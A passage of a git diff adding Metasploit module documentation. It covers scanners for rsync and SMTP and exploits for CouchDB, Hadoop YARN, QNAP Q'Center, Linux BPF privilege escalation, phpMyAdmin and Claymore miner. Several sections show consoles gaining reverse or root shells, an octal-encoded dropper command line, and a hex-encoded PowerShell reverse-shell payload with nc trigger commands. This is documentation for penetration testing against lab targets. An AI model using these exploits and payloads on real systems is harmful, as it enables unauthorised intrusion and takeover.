rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets```
|
||||
4. ```chmod 600 /etc/rsyncd.secrets```
|
||||
5. ```rsync --daemon```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/rsync/modules_list`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**TEST_AUTHENTICATION**
|
||||
|
||||
Connect to each share and test if authentication is required.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
When set to `false`, each module will be listed. When set to `true` each module will be listed, then a summary
|
||||
table will also be printed including if authentication is required, and any module comments. `false` is the default value.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### rsyncd on Kali (using above config)
|
||||
|
||||
With verbose set to `false`:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/rsync/modules_list
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > run
|
||||
|
||||
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
|
||||
```
|
||||
|
||||
With verbose set to `true`:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/rsync/modules_list
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > run
|
||||
|
||||
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
|
||||
|
||||
rsync modules for 10.168.202.216:873
|
||||
=======================================
|
||||
|
||||
Name Comment Authentication
|
||||
---- ------- --------------
|
||||
authenticated Files require authentication required
|
||||
read only files Files are read only not required
|
||||
writable Files can be written to not required
|
||||
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/rsync-list-modules.html)
|
||||
|
||||
```
|
||||
# nmap -p 873 -sV -script=rsync-list-modules 10.168.202.216
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-12 16:32 EDT
|
||||
Nmap scan report for 10.168.202.216
|
||||
Host is up (0.000045s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
873/tcp open rsync (protocol version 31)
|
||||
| rsync-list-modules:
|
||||
| read only files Files are read only
|
||||
| writable Files can be written to
|
||||
|_ authenticated Files require authentication
|
||||
|
||||
```
|
|
@ -0,0 +1,35 @@
|
|||
## Description
|
||||
|
||||
This module grabs the banner from an SMTP server.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Postfix on Kali Linux:
|
||||
|
||||
This is mainly based on the instructions from [digitalocean.com](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-postfix-on-ubuntu-16-04).
|
||||
In this case, we don't need to configure all the users and set up the server fully, just enough to display a banner.
|
||||
|
||||
|
||||
1. ```apt-get install postfix```
|
||||
1. Select `Internet Site`
|
||||
2. Select OK, the default is fine
|
||||
2. ```systemctl restart postfix```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/smtp/smtp_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Postfix 3.3.0-1+b1 (Ubuntu package number) on Kali (using above config)
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/smtp/smtp_version
|
||||
msf5 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/smtp/smtp_version) > run
|
||||
|
||||
[+] 10.168.202.216:25 - 10.168.202.216:25 SMTP 220 rageKali.ragegroup ESMTP Postfix (Debian/GNU)\x0d\x0a
|
||||
```
|
|
@ -0,0 +1,111 @@
|
|||
## Description
|
||||
|
||||
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerable Application Link**
|
||||
|
||||
- docker
|
||||
|
||||
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
|
||||
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
|
||||
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
|
||||
4. Do: ``check``
|
||||
|
||||
``[*] 192.168.77.139:5984 The target appears to be vulnerable.``
|
||||
|
||||
5. Do: ``set srvhost <ip>``
|
||||
6. Do: ``set srvport <port>``
|
||||
7. Do: ``set lhost <ip>``
|
||||
8. Do: ``set lport <port>``
|
||||
9. Do: ``exploit``
|
||||
10. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
- URIPATH
|
||||
|
||||
``URIPATH`` by default is random, you can change it if you want.
|
||||
|
||||
- HttpUsername, HttpPassword
|
||||
|
||||
Sometimes it requires authentication, set these options to authorize.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
TESTED AGAINST LINUX
|
||||
|
||||
```
|
||||
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword no The password to login with
|
||||
HttpUsername no The username to login as
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST yes The target address
|
||||
RPORT 5984 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit to download and execute. (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
|
||||
rhost => 192.168.77.139
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
|
||||
[*] 192.168.77.139:5984 The target appears to be vulnerable.
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
|
||||
srvhost => 192.168.77.139
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
|
||||
srvport => 8888
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
|
||||
lhost => 192.168.77.139
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Started reverse TCP handler on 192.168.77.139:4444
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
|
||||
[*] 192.168.77.139:5984 - The 1 time to exploit
|
||||
[*] 192.168.77.139:5984 - Sending the payload to the server...
|
||||
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
|
||||
[*] Server stopped.
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
id
|
||||
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
|
||||
```
|
|
@ -0,0 +1,112 @@
|
|||
## Description
|
||||
|
||||
This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerable Application Link**
|
||||
|
||||
- docker
|
||||
|
||||
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
|
||||
Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
|
||||
4. Do: ``set rhost x.x.x.x``
|
||||
5. Do: ``set rport 8088``
|
||||
6. Do: ``check``
|
||||
|
||||
``[+] 192.168.77.141:8088 The target is vulnerable.``
|
||||
|
||||
7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
|
||||
8. Do: ``exploit``
|
||||
9. You should get a shell.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/hadoop_unauth_exec
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/hadoop_unauth_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST yes The target address
|
||||
RPORT 8088 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141
|
||||
rhost => 192.168.77.141
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/hadoop_unauth_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.77.141 yes The target address
|
||||
RPORT 8088 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x86/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141
|
||||
lhost => 192.168.77.141
|
||||
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.77.141:4444
|
||||
[*] Sending Command
|
||||
[*] Command Stager progress - 100.00% done (763/763 bytes)
|
||||
[*] Sending stage (853256 bytes) to 172.20.0.3
|
||||
[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
|
@ -0,0 +1,81 @@
|
|||
## Description
|
||||
|
||||
This module exploits a command injection vulnerability in the
|
||||
`change_passwd` API method within the web interface of QNAP Q'Center
|
||||
virtual appliance versions prior to 1.7.1083.
|
||||
|
||||
The vulnerability allows the `admin` privileged user account to
|
||||
execute arbitrary commands as the `admin` operating system user.
|
||||
|
||||
Valid credentials for the `admin` user account are required, however,
|
||||
this module also exploits a separate password disclosure issue which
|
||||
allows any authenticated user to view the password set for the `admin`
|
||||
user during first install.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central
|
||||
management platform that enables you to consolidate the management of multiple
|
||||
QNAP NAS devices.
|
||||
|
||||
This module has been tested successfully on QNAP Q'Center appliance
|
||||
version 1.6.1075.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec`
|
||||
3. `set RHOSTS <IP>`
|
||||
4. `set USERNAME <USERNAME>` (default: `admin`)
|
||||
5. `set PASSWORD <PASSWORD>` (default: `admin`)
|
||||
6. `run`
|
||||
7. You should get a session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Username for the application. (default: `admin`)
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password for the application. (default: `admin`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112
|
||||
rhosts => 10.1.1.112
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check
|
||||
|
||||
[*] Target is QNAP Q'Center appliance version 1.6.1075
|
||||
[*] 10.1.1.112:443 The target appears to be vulnerable.
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.1.1.197:4444
|
||||
[*] Target is QNAP Q'Center appliance version 1.6.1075
|
||||
[+] Authenticated as user 'admin' successfully
|
||||
[*] Sending payload ...
|
||||
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"]
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (861480 bytes) to 10.1.1.112
|
||||
[*] Command Stager progress - 100.00% done (701/701 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=1001, gid=1001, euid=1001, egid=1001
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.1.1.112
|
||||
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
|
||||
which contains a vulnerability where it may improperly perform sign
|
||||
extension. This can be utilized to escalate privileges.
|
||||
|
||||
The target system must be compiled with BPF support and must not have
|
||||
`kernel.unprivileged_bpf_disabled` set to `1`.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Debian 9.0 kernel 4.9.0-3-amd64;
|
||||
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
|
||||
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
|
||||
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
|
||||
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
|
||||
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
|
||||
* Gentoo 2.2 kernel 4.5.2-aufs-r1;
|
||||
* Linux Mint 17.3 kernel 4.4.0-89-generic;
|
||||
* Linux Mint 18.0 kernel 4.8.0-58-generic;
|
||||
* Linux Mint 18.3 kernel 4.13.0-16-generic;
|
||||
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
|
||||
* Manjero 16.10 kernel 4.4.28-2-MANJARO;
|
||||
* Solus 3 kernel 4.12.7-11.current;
|
||||
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
|
||||
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
|
||||
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
|
||||
* Ubuntu 17.04 kernel 4.10.0-19-generic;
|
||||
* ZorinOS 12.1 kernel 4.8.0-39-generic.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to `/tmp`
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (ubuntu.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (ubuntu.rb)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (ubuntu.rb)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (ubuntu.rb)> exploit
|
||||
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Escalate
|
||||
|
||||
In this scenario, gcc is installed so we can live compile on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
|
||||
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003869aa00
|
||||
[*] uidptr = ffff8800354fb244
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vQIIRofN.c
|
||||
[+] Deleted /tmp/vQIIRofN
|
||||
[+] Deleted /tmp/iuRJiXBf
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
#### Escalate w/ pre-compiled binaries
|
||||
|
||||
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[-] gcc is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing vsQTwocG to /tmp/vsQTwocG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
|
||||
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003a8a3800
|
||||
[*] uidptr = ffff88003d276304
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vsQTwocG
|
||||
[+] Deleted /tmp/JDQDHtEG
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Debian 9.0 (x86_64)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
|
||||
compile => False
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
|
||||
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
|
||||
[*] Launching exploit ...
|
||||
[*] Sending stage (861480 bytes) to 172.16.191.236
|
||||
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : debian-9-0-x64.local
|
||||
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,37 @@
|
|||
## Description
|
||||
|
||||
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
|
||||
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
|
||||
rhosts => 172.22.222.122
|
||||
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.190:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.122
|
||||
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: SYSTEM (0)
|
||||
meterpreter > sysinfo
|
||||
Computer :
|
||||
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,48 @@
|
|||
## Description
|
||||
|
||||
This module connects to the Claymore Dual Miner API server to exploit the RCE.
|
||||
This module can target the remote system if the miner is running with read/write mode enabled.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner
|
||||
configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker
|
||||
can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333`
|
||||
2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}`
|
||||
3. Run on terminal: `nc -lvp 1234`
|
||||
4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo`
|
||||
5. You should get a shell
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
Remote Host
|
||||
|
||||
**RPORT**
|
||||
|
||||
Remote port the vulnerable software is running at, default is 3333.
|
||||
|
||||
|
||||
### Remote target
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
|
||||
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1
|
||||
lhost => 127.0.0.1
|
||||
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234
|
||||
lport => 1234
|
||||
